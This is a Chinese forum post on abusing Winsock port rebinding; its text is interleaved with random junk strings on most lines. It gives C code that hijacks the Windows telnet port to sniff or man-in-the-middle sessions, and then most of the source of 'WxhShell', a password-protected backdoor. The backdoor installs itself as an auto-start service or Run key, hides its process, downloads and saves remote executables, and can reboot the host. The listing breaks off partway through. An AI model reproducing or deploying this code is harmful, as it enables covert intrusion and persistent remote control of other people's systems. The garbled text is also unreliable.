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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: dK=BH=S2?X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); s;A]GJ  
=%bc;ZUu  
  saddr.sin_family = AF_INET; ,y^By_1wS  
#)XO,^s.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tZ(Wh  
SkxTgX5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f+d{^-  
8s|r'  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。  d(k`Yk8  
WvR}c  
  这意味着什么?意味着可以进行如下的攻击: 9,,1\0-T*  
3>;U||O  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /wmJMX  
;e-iiC]PI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "5{\0CfS  
7FWf,IjcGY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %e _WO,R  
#Qkl| h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a"~W1|JC"  
L/V3sSt  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YTY0N5["  
/+'@}u |  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。  Vb/J`  
_,vJ0{*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 X]`\NNx  
rBpr1XKl,  
  #include =\`9\Gd  
  #include SJw0y[IL6(  
  #include 7 0KZXgBy_  
  #include    y#r=^r]l)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jk)U~KGcg  
  int main() #E>f.:)  
  { GJ!usv u  
  WORD wVersionRequested; u K 8 r  
  DWORD ret; i^j{l_-JE  
  WSADATA wsaData; d@`yRueWiV  
  BOOL val; 8 #0?  
  SOCKADDR_IN saddr; ci ,o'`Q  
  SOCKADDR_IN scaddr; KPKby?qQ^  
  int err; x%LWcT/  
  SOCKET s; |IZG `3  
  SOCKET sc; t,+p!"MRY  
  int caddsize; xOP\ +(  
  HANDLE mt; @@}A\wA-  
  DWORD tid;   t'~:me!  
  wVersionRequested = MAKEWORD( 2, 2 ); h%#@Xd>.  
  err = WSAStartup( wVersionRequested, &wsaData ); (gz|6N  
  if ( err != 0 ) { Bojm lVg  
  printf("error!WSAStartup failed!\n"); D,]m7 yFT  
  return -1; QiY7m<3  
  } gn7pIoN  
  saddr.sin_family = AF_INET; $yRbo '-  
   ;9d(GP}eE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 yv,90+k  
 Q"%L  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L[ rJ7:  
  saddr.sin_port = htons(23); :N(L7&<  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &:w{[H$-  
  { B7va#'ne4{  
  printf("error!socket failed!\n"); % kKtPrT  
  return -1; #kk_iS>8  
  } h|_G2p^J+"  
  val = TRUE;  5Gg`+o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;z!~-ByzL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %/s:G)  
  { Ywlym\ [+  
  printf("error!setsockopt failed!\n"); $  5  
  return -1;  6 5qH  
  } zaR~fO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; E9QNx6 2  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `ffWV;P  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 e$ E=n  
[R6du*P  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) v:<u0B-)$  
  { ]'M Ly#9  
  ret=GetLastError(); D6c4tA^EO  
  printf("error!bind failed!\n"); 5zfPh`U>1  
  return -1; ( 8k3z`  
  } |\Jpjm)?  
  listen(s,2); ln#Lx&r;|  
  while(1) sm/l'e  
  { wIL5-k,  
  caddsize = sizeof(scaddr); yAXw?z!`O  
  //接受连接请求 .,UpI|b  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); |Ax~zk;  
  if(sc!=INVALID_SOCKET) O>)8< yi$  
  { qzsS"=5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); V1;n5YL  
  if(mt==NULL) $v$~.  
  { .Mdxbs6.C  
  printf("Thread Creat Failed!\n"); ]hN%~ ~$>  
  break; 4:5CnK  
  } :W8DgL>l  
  } Sh}AGNE'  
  CloseHandle(mt); sf@g $  
  } lRX*\ M\`  
  closesocket(s); UvxJ _  
  WSACleanup(); ES<"YF  
  return 0; f4CwyL6ur  
  }   "PLZZL$+  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?RA^Y N*9  
  { Dm"GCV  
  SOCKET ss = (SOCKET)lpParam; x^;nQas;  
  SOCKET sc; {pm>F}Cwy  
  unsigned char buf[4096]; +Q8B in  
  SOCKADDR_IN saddr; TBvv(_  
  long num; &=xm>;`3  
  DWORD val; n\ZDI+X  
  DWORD ret; ~;3N'o  
  //如果是隐藏端口应用的话,可以在此处加一些判断 1j9.Q;9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ie=tM'fb  
  saddr.sin_family = AF_INET; X+ h|sy  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); YSs9BF:a  
  saddr.sin_port = htons(23); =uIu0_v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )1Z*kY?f!  
  { cc Z A  
  printf("error!socket failed!\n"); %, XyhS5[o  
  return -1; 4-lEo{IIM  
  } k#w[G L|T  
  val = 100; KaZ$!JfT  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I.euuzBgA  
  { K9;pX2^z9  
  ret = GetLastError(); ~NMal]Fwx  
  return -1; RL[?&L$7^%  
  } OGzth$7A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '/Hx0]V  
  { }2|>Y[v2j  
  ret = GetLastError(); C;y3?+6P$  
  return -1; !dv  
  } '@3hU|jO!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ez"Xb 7  
  { > 't=r  
  printf("error!socket connect failed!\n"); <9@I5 0;  
  closesocket(sc); @K7#}7,t  
  closesocket(ss); tT ~}lW)Y  
  return -1; =P<gZ-Cm  
  } .Qn54tS0q  
  while(1) ,q]W i#  
  { l23_K7  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 1l"A7 V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 xVao3+r  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h1^q};3!W\  
  num = recv(ss,buf,4096,0); 7q<I7Wt  
  if(num>0) !i&^H,  
  send(sc,buf,num,0); Rf+ogLa=  
  else if(num==0) =cs;avtL  
  break; n\Uh5P1W"  
  num = recv(sc,buf,4096,0); l4I@6@  
  if(num>0) ZqsI\"bj  
  send(ss,buf,num,0); TyY[8J|  
  else if(num==0) vd c k  
  break; A% 9TS/-p  
  } /d ?)  
  closesocket(ss); c{Nk"gEfRA  
  closesocket(sc); ;;pxI5  
  return 0 ; /%\E2+6  
  } {'4h.PB+r  
*Em 9R  
rhO ]4A  
========================================================== 8zP{Cmm  
JV=d!Gi[C  
下边附上一个代码,,WXhSHELL 8l-+ 4~mH  
"45O!AjP  
========================================================== 6UXa 5t  
;aExEgTq  
#include "stdafx.h" GJ edW   
;Oh4W<hH}  
#include <stdio.h> `c ~Va/Yi  
#include <string.h> ]1>U@oK  
#include <windows.h> Nc:, [8{l  
#include <winsock2.h> J?&lpsB3_l  
#include <winsvc.h> al$G OMi  
#include <urlmon.h> -g(&5._,ZW  
<*E{z r&  
#pragma comment (lib, "Ws2_32.lib") }A3(g$8KR  
#pragma comment (lib, "urlmon.lib") R ,-y  
`d2}>  
#define MAX_USER   100 // 最大客户端连接数 B.vg2N  
#define BUF_SOCK   200 // sock buffer Y O;N9wu3f  
#define KEY_BUFF   255 // 输入 buffer jFf2( AR  
u0`~ |K  
#define REBOOT     0   // 重启 .<} (J#vC  
#define SHUTDOWN   1   // 关机 PLf  
:uy8$g*;TE  
#define DEF_PORT   5000 // 监听端口 9oKRn c  
; >Tko<  
#define REG_LEN     16   // 注册表键长度 ;|Id g"2  
#define SVC_LEN     80   // NT服务名长度 C8>zr6)1  
lp3 A B  
// 从dll定义API 0 {#c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t-*oVX3D  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9kss) xy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e@"1W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); kKFmTo   
":EfR`A#  
// wxhshell配置信息 E,&BP$B  
struct WSCFG { /{Ksi+q  
  int ws_port;         // 监听端口 P -0  
  char ws_passstr[REG_LEN]; // 口令 dmI,+hHtL  
  int ws_autoins;       // 安装标记, 1=yes 0=no L/dG 0a@1X  
  char ws_regname[REG_LEN]; // 注册表键名 o?@,f/" 5  
  char ws_svcname[REG_LEN]; // 服务名 #D~atgR  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;M}'\.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >U.TkB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q'~ ?azg:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no M>^Ho2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" >F+Mu-^  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 a]XQM$T$  
~&B{"d  
}; T;K,.a8bU  
IH8^ fyQ`  
// default Wxhshell configuration EEFM1asJf  
struct WSCFG wscfg={DEF_PORT, .|`J S?L[  
    "xuhuanlingzhe", yk OJhd3  
    1, {E`[ `Kf  
    "Wxhshell", #ky]@vyO  
    "Wxhshell", xp-.,^q\w  
            "WxhShell Service", Z ? `  
    "Wrsky Windows CmdShell Service", Sn=|Q4ZN  
    "Please Input Your Password: ", "\M16N  
  1, _ #]uk&5a  
  "http://www.wrsky.com/wxhshell.exe", !dQG 5v  
  "Wxhshell.exe" lj0"2@z3"E  
    }; aC:Sy^Tf  
}9yAYZ0q{b  
// 消息定义模块 P @N7g`u3}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d\&{Ev9v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t=M:L[bis;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8sb<$M$c  
char *msg_ws_ext="\n\rExit."; R&}"En`$s  
char *msg_ws_end="\n\rQuit."; IGz92&y  
char *msg_ws_boot="\n\rReboot..."; j}R!'m(P'  
char *msg_ws_poff="\n\rShutdown..."; |hms'n0  
char *msg_ws_down="\n\rSave to "; ` b a}6D  
:L gFd  
char *msg_ws_err="\n\rErr!"; fa7Z=:a G  
char *msg_ws_ok="\n\rOK!"; iIWz\FM  
8q9HQ4dsL  
char ExeFile[MAX_PATH]; L1=+x^WQ  
int nUser = 0; ?HwW~aO  
HANDLE handles[MAX_USER]; vf6_oX<Os  
int OsIsNt; l_bvwo  
( HCB\!g  
SERVICE_STATUS       serviceStatus; e~]3/0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mLApF5Hy  
G|eY$5!i  
// 函数声明 1OB,UU"S$  
int Install(void); tGHZU^B:}  
int Uninstall(void); #x-@ >{1k&  
int DownloadFile(char *sURL, SOCKET wsh); [>+R|;ln  
int Boot(int flag); (IdXJvKU!  
void HideProc(void); NAd|n+[d  
int GetOsVer(void); K;,zE6WD$$  
int Wxhshell(SOCKET wsl); IvuKpX>*  
void TalkWithClient(void *cs); NA%M)u{|  
int CmdShell(SOCKET sock); `o~ dQb/k+  
int StartFromService(void); zbQ-l1E  
int StartWxhshell(LPSTR lpCmdLine); AX6z4G  
533n z8&9@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ' >a(|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); t^eWFX  
hBb&-/  
// 数据结构和表定义 h| q!Qsnj'  
SERVICE_TABLE_ENTRY DispatchTable[] = B*=m%NXf  
{ v4M1uJ8  
{wscfg.ws_svcname, NTServiceMain}, zN}1Qh  
{NULL, NULL} HJ4T! `'d  
}; j{k]8sI,H]  
7{<:g!  
// 自我安装 [:M:6JJ  
int Install(void) [O)(0  
{ &!/E&e$_  
  char svExeFile[MAX_PATH]; q\+khy,k  
  HKEY key; Axb,{X[6g  
  strcpy(svExeFile,ExeFile); -+vA9,pI  
k?(x}IZdG  
// 如果是win9x系统,修改注册表设为自启动 j7LuN  
if(!OsIsNt) { .Up\ 0|b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { poJ7q (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xvy3D@o  
  RegCloseKey(key); [C1 .*Q+l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5:3%RTLG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7G,{BBB  
  RegCloseKey(key); E?$|`<o{|`  
  return 0; l#40VHa?S  
    } :|j,x7&/{  
  } %N((p[\H  
} zJ-_{GiM*L  
else { 3&H#LGoV$  
>%qk2h>  
// 如果是NT以上系统,安装为系统服务 j?!BHNs  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ql~9a [8T~  
if (schSCManager!=0) w8MQA!=l  
{ Xx.4K>j+j  
  SC_HANDLE schService = CreateService w5j6RQml  
  ( +rT%C&ze  
  schSCManager, g&z)y  
  wscfg.ws_svcname, ?-'m#5i"  
  wscfg.ws_svcdisp, 2oY.MQD7iW  
  SERVICE_ALL_ACCESS, QU`M5{#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3Z,J &d`[  
  SERVICE_AUTO_START, bCv=Uo,+6  
  SERVICE_ERROR_NORMAL, PKDzIA~T  
  svExeFile, "Jd!TLt\x  
  NULL, b=V"$(Q  
  NULL, @UbH ;m  
  NULL, X<pg^Y0  
  NULL, I+qg'mo  
  NULL rE:"8d}z  
  ); c~_nO d  
  if (schService!=0) t r)[6o#  
  { /O,>s  
  CloseServiceHandle(schService); f9+J}  
  CloseServiceHandle(schSCManager); <K^{36h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (s:ihpI  
  strcat(svExeFile,wscfg.ws_svcname); wjJM\BKr`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 7(ni_|$|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M @|n"(P  
  RegCloseKey(key); Iq76JJuCb  
  return 0; = [N= mC  
    } VnZRsFY<^  
  } y. xt7 F1  
  CloseServiceHandle(schSCManager); pQQN8Y~^Y  
} AXnuXa(j  
} wiwAdYEQ\  
A* 1-2  
return 1; tHhau.!  
} 'H19@b5rx  
pUGFQ."\  
// 自我卸载 2)iwAu   
int Uninstall(void) {;z{U;j  
{ SG5GJCkc  
  HKEY key; ?L%BD7  
}9Th`   
if(!OsIsNt) { I_/E0qSJI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q=EHB5!q  
  RegDeleteValue(key,wscfg.ws_regname); kp6{QKDj&  
  RegCloseKey(key); #9( 0.!v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &:>3tFQSH  
  RegDeleteValue(key,wscfg.ws_regname); 2HNAB4 E  
  RegCloseKey(key); (6y[,lYH  
  return 0; uwL^Tq}Yh  
  } }?\8%hK"a7  
} %>z4hH,  
} |41NRGgY  
else { #Nv^F  
H%nA"-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KT 4h3D`,  
if (schSCManager!=0) y ;\m1o2  
{ TR<M3,RG#%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yb-1zF|  
  if (schService!=0)  46^9O 5J  
  { vvTQ!Aa  
  if(DeleteService(schService)!=0) { }&*wJ]j`L  
  CloseServiceHandle(schService); Daw;6f:  
  CloseServiceHandle(schSCManager); ]ZMFK>"^%  
  return 0; Nv~H797B  
  } wHT]&fZ  
  CloseServiceHandle(schService); d3[O!4<T  
  } mTj ?W$+r  
  CloseServiceHandle(schSCManager); |3bCq(ZR\P  
} (^G @-eh  
} f@j)t%mh  
{^T_m)|n  
return 1; @W1F4HYds  
} A6?!BB=]  
b2tUJ2p  
// 从指定url下载文件 NimW=X;c  
int DownloadFile(char *sURL, SOCKET wsh) RPB%6z$  
{ '!DS3zEeLS  
  HRESULT hr; 7'g{:dzS*3  
char seps[]= "/"; pBxyq"z  
char *token; <2V:tj)?P  
char *file; xXRlQ|84  
char myURL[MAX_PATH]; [0?W>A*h  
char myFILE[MAX_PATH]; ,J4rKGG  
TPF5?  
strcpy(myURL,sURL); c+:XaDS-  
  token=strtok(myURL,seps); T&q0TBT  
  while(token!=NULL) '@{Mq%`  
  { h@{mcz  
    file=token; _/5#A+ ?  
  token=strtok(NULL,seps); Bln($lOz  
  } ccY! OSae  
y,xJ5BI$  
GetCurrentDirectory(MAX_PATH,myFILE); P#l"`C /  
strcat(myFILE, "\\"); XCd[<\l  
strcat(myFILE, file); [e`e bn[C  
  send(wsh,myFILE,strlen(myFILE),0); *A ([1l&]i  
send(wsh,"...",3,0); SMn(c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O%)Wo?)HM  
  if(hr==S_OK) V^%P}RFMc  
return 0; 9SQc ChG~j  
else vACJE  
return 1; EM7Z g 65  
?0x=ascP  
} Fnc MIzp  
928uGo5  
// 系统电源模块 gZ>) S@  
int Boot(int flag) B2^*Sr[  
{ REGk2t.L  
  HANDLE hToken; %PlA9@:IZ  
  TOKEN_PRIVILEGES tkp; '\% Kd+k  
z'9U.v'M)  
  if(OsIsNt) { y#{v\h Cz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vLs*}+f  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NHQi_U  
    tkp.PrivilegeCount = 1; rHp2I6.0a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Bp-e< :  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); n.7-$1  
if(flag==REBOOT) { mu{\_JX.A  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X#k:J  
  return 0; cBtQ2,<6  
} FWW*f _L  
else { %+iAL<S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P?hB`5X  
  return 0; PJL [En*  
} L./{^)  
  } oc"7|YG  
  else { 9~{,Hj1xE  
if(flag==REBOOT) { hr W2#v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) n.=Zw2FE  
  return 0; Ip |=NQL>  
} 2j&0U!DX  
else { UaB2vuL*=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #A&49a3^1  
  return 0; CrB4%W:{  
}  }=d}q *  
}  Dn#^-,H  
@=6oB3tQA  
return 1; 'fYF1gR4  
} ^/I.? :+  
EE-wi@  
// win9x进程隐藏模块 8?1MnjhX10  
void HideProc(void) W[:CCCDL  
{ >en\:pJn)'  
s6k(K>Pl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u6Yp ,!+  
  if ( hKernel != NULL ) T037|k a{  
  { m=25HH7enb  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0),fY(D2T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (aLjW=  
    FreeLibrary(hKernel); 3oV2Ek<d  
  } sB5@6[VDI  
>T)tAZ?WK  
return; KQ^|prN?y  
} P#}vi$dZ  
(Q=:ln;kM  
// 获取操作系统版本 1DlXsup&?#  
int GetOsVer(void) [X7gP4  
{ )J?8"+_Y  
  OSVERSIONINFO winfo; P(!%Pp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,H_d#Koa.  
  GetVersionEx(&winfo); I|wC`VgB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s>)?MB*vb  
  return 1; Vjd(Z  
  else PQUJUs  
  return 0; h.wffk,  
} 5uV_Pkb?8  
tt|P-p-  
// 客户端句柄模块 Y`3\Z6KlV  
int Wxhshell(SOCKET wsl) y&/bp<Z  
{ <7! "8e  
  SOCKET wsh; 6z]y =J  
  struct sockaddr_in client; { <1uV']x  
  DWORD myID; "ruYMSpU  
!ST7@D  
  while(nUser<MAX_USER) raZkH8  
{ +F.@n_}p-I  
  int nSize=sizeof(client);  uAs!5h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UXh%DOq   
  if(wsh==INVALID_SOCKET) return 1; putRc??o;  
iRx`Nx<@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  OO</d:  
if(handles[nUser]==0) ;NQ}c"9  
  closesocket(wsh); d|8-#.gV  
else Cm]\5}Py  
  nUser++; 9{e/ V)  
  } j7$xHnV4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); l%xTF@4e  
LG:d  
  return 0; #U4 f9.FY*  
} K4]#X"  
=oM#]M'G+(  
// 关闭 socket ox_DEg7l  
void CloseIt(SOCKET wsh) KoA+Vv9  
{ zeq")A  
closesocket(wsh); =k,?+h~  
nUser--; 6=qC/1,l  
ExitThread(0); 5<e{)$C  
} ?:&2iW7z  
!X||ds  
// 客户端请求句柄 22;B:  
void TalkWithClient(void *cs) +XSe;xk;rD  
{ o5sw]R5  
=qbN?a/?2  
  SOCKET wsh=(SOCKET)cs; mkfDDl2 GP  
  char pwd[SVC_LEN]; C#8A|  
  char cmd[KEY_BUFF]; F|VKrH.  
char chr[1]; f*A B Im  
int i,j; LwTdmR  
^)GaVL^"5  
  while (nUser < MAX_USER) { hS*&p0YV~M  
KJv%t_4'F  
if(wscfg.ws_passstr) { x^ `IZ{!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rA^=;?7Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,0ilNi>  
  //ZeroMemory(pwd,KEY_BUFF); 8'_MCx(  
      i=0; KhP_U{)D  
  while(i<SVC_LEN) { >56fa6=3@  
_n!>*A!  
  // 设置超时 )v*k\:Hw  
  fd_set FdRead; $06('Hg&  
  struct timeval TimeOut; .'$8Hj;@  
  FD_ZERO(&FdRead); j l]3B  
  FD_SET(wsh,&FdRead); c5uC?b].  
  TimeOut.tv_sec=8; Ju&FwY+  
  TimeOut.tv_usec=0; GmE`YW  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mP/#hwzB&q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )MLbE-@  
7ku=roPoF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (C1~>7L  
  pwd=chr[0]; {\NBNg(Vo  
  if(chr[0]==0xd || chr[0]==0xa) { SS24@:"{  
  pwd=0; xK)<7 63q>  
  break; sDR Av%w  
  } W}"tf L8  
  i++; xpCZlOld  
    } `IJ)'$pn  
Hz[1c4)'F  
  // 如果是非法用户,关闭 socket V~ MsGj  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m/jyc# L:u  
} 6V ncr}  
:Ny[?jt c  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :-<30LS $  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !syyOfu`}  
Ayv:Pv@  
while(1) { MK@rx6<9  
,3iD/8_  
  ZeroMemory(cmd,KEY_BUFF); J]zhwM  
=hd0Ui>x  
      // 自动支持客户端 telnet标准   FGie*t  
  j=0; 6v]`s  
  while(j<KEY_BUFF) { oM^vJ3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (v KJyk+Y  
  cmd[j]=chr[0]; [` }w7  
  if(chr[0]==0xa || chr[0]==0xd) { hO{&bY0  
  cmd[j]=0; 2<h~: L  
  break; p:$kX9mT&  
  } bA2[=6  
  j++; D| <_96_m  
    } ;&f(7 Q+T_  
iPY)Ew`Im  
  // 下载文件 BzH0"xq^  
  if(strstr(cmd,"http://")) { Z__fwv.X[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Rq e|7/As  
  if(DownloadFile(cmd,wsh)) )F\kGe  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JUj.:n2e  
  else m\CU,9;;(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aIQC[ry  
  } W"pHR sf  
  else { #H4<8B  
y1~ QKz  
    switch(cmd[0]) { kka{u[ruA  
  WA1yA*S  
  // 帮助 {06ClI  
  case '?': { p,|)qr:M  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ]B8iQr-!  
    break; WlY\R>x#  
  } \6.dGKK  
  // 安装 cyP+a  
  case 'i': { .HGK  3  
    if(Install()) U(x$&um(l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J#4pA{01w  
    else \L$]2"/v-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0)\(y   
    break; UM`$aPz  
    } ubsv\[:C  
  // 卸载 ;"e55|d9I  
  case 'r': { 8'zfq ]g  
    if(Uninstall())  P s|[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -kP2Brm  
    else 7@ y}J5,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @"98u$5  
    break; [; $:Lr  
    } y?3u6q++  
  // 显示 wxhshell 所在路径 ) k[XO  
  case 'p': { \>EUa}%xn  
    char svExeFile[MAX_PATH]; fpjFO&ML  
    strcpy(svExeFile,"\n\r"); vO"E4s  
      strcat(svExeFile,ExeFile); ygm6(+  
        send(wsh,svExeFile,strlen(svExeFile),0); s(s_v ?k  
    break; )' ,dP)b  
    } qPUACuF'  
  // 重启 <&B] p  
  case 'b': { rW~G'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ts@ e ,  
    if(Boot(REBOOT)) 2\O!vp>|-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?v F8 y;Jh  
    else { DAtAc(05)  
    closesocket(wsh); ,m7Z w_.  
    ExitThread(0); z5<&}Vh;P  
    } zH~g5xgh  
    break; 9WQ'"wyAQ  
    } fHI@' '0  
  // 关机 c^&:':Z%'  
  case 'd': { u8<Fk !  
